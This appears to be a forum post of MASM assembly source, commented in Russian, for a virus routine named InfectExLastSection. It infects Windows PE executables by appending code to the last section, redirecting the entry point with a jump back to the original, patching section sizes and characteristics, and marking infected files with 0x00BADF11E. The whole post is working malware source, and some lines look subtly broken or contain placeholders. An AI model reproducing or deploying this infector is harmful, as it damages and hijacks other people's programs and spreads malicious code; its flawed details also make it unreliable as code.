Bill Prisoner - TPOC (VDK) Код (Text): ;===============================================================================; ;Процедура InfectExLastSection ;Описание: ;Заражение PE-файла с помощью расширения последней секции ;Вход: hMap - жертва ; hMap2 - код ; File2Size - размер кода ; Delta - дельта-смещение ;Выход: EAX = 1 если заразил, иначе EAX = 0 ;===============================================================================; InfectExLastSection proc Name2:DWORD,hMap:DWORD,hMap2:DWORD,File2Size:DWORD,Delta:DWORD LOCAL pPE:DWORD LOCAL pSectionTable:DWORD LOCAL pDataDirectory:DWORD LOCAL pFileHeader:DWORD LOCAL pOptionalHeader:DWORD LOCAL SizeOfCode:DWORD LOCAL AddressOfCode:DWORD LOCAL pLastSection:DWORD LOCAL hFile:DWORD LOCAL UpdatedhMap:DWORD LOCAL hMapping:DWORD LOCAL FileSize:DWORD mov eax,File2Size add eax,7 push eax push hMap call GetFileAlignment pop esi mov edi,eax GetAlignUp esi,edi push eax push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push NULL push FILE_SHARE_WRITE or FILE_SHARE_READ push GENERIC_WRITE or GENERIC_READ push Name2 mov edx,Delta call dword ptr [edx+_CreateFileA] .if eax==-1 xor eax,eax ret .endif mov hFile,eax push 0 push hFile mov edx,Delta call dword ptr [edx+_GetFileSize] push 0 push hFile mov edx,Delta call dword ptr [edx+_GetFileSize] mov FileSize,eax pop esi add esi,eax ;Получаем размер зараженного EXE-файла push NULL push esi push NULL push PAGE_READWRITE push NULL push hFile mov edx,Delta call dword ptr [edx+_CreateFileMappingA] .if eax==0 xor eax,eax ret .endif mov hMapping,eax push 0 push 0 push 0 push FILE_MAP_ALL_ACCESS push eax mov edx,Delta call dword ptr [edx+_MapViewOfFile] .if eax==0 jmp cl2 ret .endif mov UpdatedhMap,eax ;Проверка правильности PE-файла и ошибок при проекции push UpdatedhMap pop hMap push hMap call ValidPE .IF eax==0 jmp cl2 ret .ENDIF ;Получение адреса PE-заголовка assume edi:ptr IMAGE_DOS_HEADER mov edi,hMap add edi,[edi].e_lfanew mov pPE,edi ;Получение адреса файлового заголовка add edi,4 mov pFileHeader,edi ;Получение адреса опционального заголовка add edi,sizeof IMAGE_FILE_HEADER mov pOptionalHeader,edi ;Получение адреса таблицы директорий assume edi:ptr IMAGE_OPTIONAL_HEADER lea edi,[edi].DataDirectory mov pDataDirectory,edi ;Получение адреса таблицы секций mov edi,pOptionalHeader mov eax,[edi].NumberOfRvaAndSizes mov edi,pDataDirectory mov ecx,sizeof IMAGE_DATA_DIRECTORY mul ecx add edi,eax mov pSectionTable,edi ;Не заражен ли уже файл? ;................................ ;Находим последнюю секцию виртуально и физически mov edi,pFileHeader assume edi:ptr IMAGE_FILE_HEADER xor ecx,ecx mov cx,word ptr [edi].NumberOfSections mov edi,pSectionTable assume edi:ptr IMAGE_SECTION_HEADER mov eax,[edi].PointerToRawData push ebx mov ebx,[edi].VirtualAddress add edi,sizeof IMAGE_SECTION_HEADER dec ecx NextSection: .IF (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress) mov eax,[edi].PointerToRawData mov ebx,[edi].VirtualAddress mov pLastSection,edi;указатель на запись о последней секции .ENDIF add edi,sizeof IMAGE_SECTION_HEADER loop NextSection pop ebx ;Не нулевая ли последняя секция? mov edi,pLastSection .IF [edi].SizeOfRawData==0;последняя секция нулевая jmp cl2 ret .ENDIF ;Запись в конец последней секции mov ecx,File2Size;количество байт, которые надо записать mov edi,pLastSection mov eax,[edi].PointerToRawData add eax,[edi].SizeOfRawData add eax,hMap mov edi,eax mov esi,hMap2 rep movsb;записываем код ;Переход на старую точку входа mov esi,pOptionalHeader assume esi:ptr IMAGE_OPTIONAL_HEADER mov eax,[esi].AddressOfEntryPoint;В EAX - старая точка входа add eax,[esi].ImageBase mov byte ptr [edi],0B8h;BF - опкод команды mov edi,XXXXXXX inc edi push eax pop dword ptr [edi];Джампим к старой точке входа add edi,4 mov word ptr [edi],0E0FFh;FFE0 - опкод команды jmp edi ;Правка AddressOfEntryPoint mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER mov eax,[edi].VirtualAddress add eax,[edi].SizeOfRawData mov edi,pOptionalHeader assume edi:ptr IMAGE_OPTIONAL_HEADER lea edi,[edi].AddressOfEntryPoint mov dword ptr [edi],eax ;Чего-то... assume edi:ptr IMAGE_SECTION_HEADER mov edi,pLastSection mov eax,[edi].Misc.VirtualSize mov ecx,File2Size add ecx,7 add eax,ecx mov edi,pOptionalHeader assume edi:ptr IMAGE_OPTIONAL_HEADER mov edi,[edi].SectionAlignment mov esi,eax GetAlignUp esi,edi mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER lea esi,[edi].Misc.VirtualSize mov dword ptr [esi],eax;Правка VirtualSize mov esi,[edi].SizeOfRawData add esi,ecx mov edi,pOptionalHeader assume edi:ptr IMAGE_OPTIONAL_HEADER mov edi,[edi].FileAlignment GetAlignUp esi,edi mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER lea edi,[edi].SizeOfRawData mov dword ptr [edi],eax;Правка SizeOfRawData mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER lea esi,[edi].Misc.VirtualSize mov dword ptr [esi],eax;Правка VirtualSize mov edi,pLastSection mov [edi].Characteristics,0a0000020H;Правим характеристики mov esi,pOptionalHeader assume esi:ptr IMAGE_OPTIONAL_HEADER mov eax,[edi].Misc.VirtualSize add eax,[edi].VirtualAddress lea edi,[esi].SizeOfImage;Правка ImageSize mov dword ptr [edi],eax ;Пометить файл как зараженный mov edi,pOptionalHeader assume edi:PTR IMAGE_OPTIONAL_HEADER lea edi,[edi].Win32VersionValue mov DWORD PTR [edi],00BADF11Eh cl2: mov edx,Delta push hMapping call dword ptr [edx+_CloseHandle] mov edx,Delta push hFile call dword ptr [edx+_CloseHandle] push UpdatedhMap mov edx,Delta call dword ptr [edx+_UnmapViewOfFile] mov eax,1 ret InfectExLastSection endp ;===============================================================================;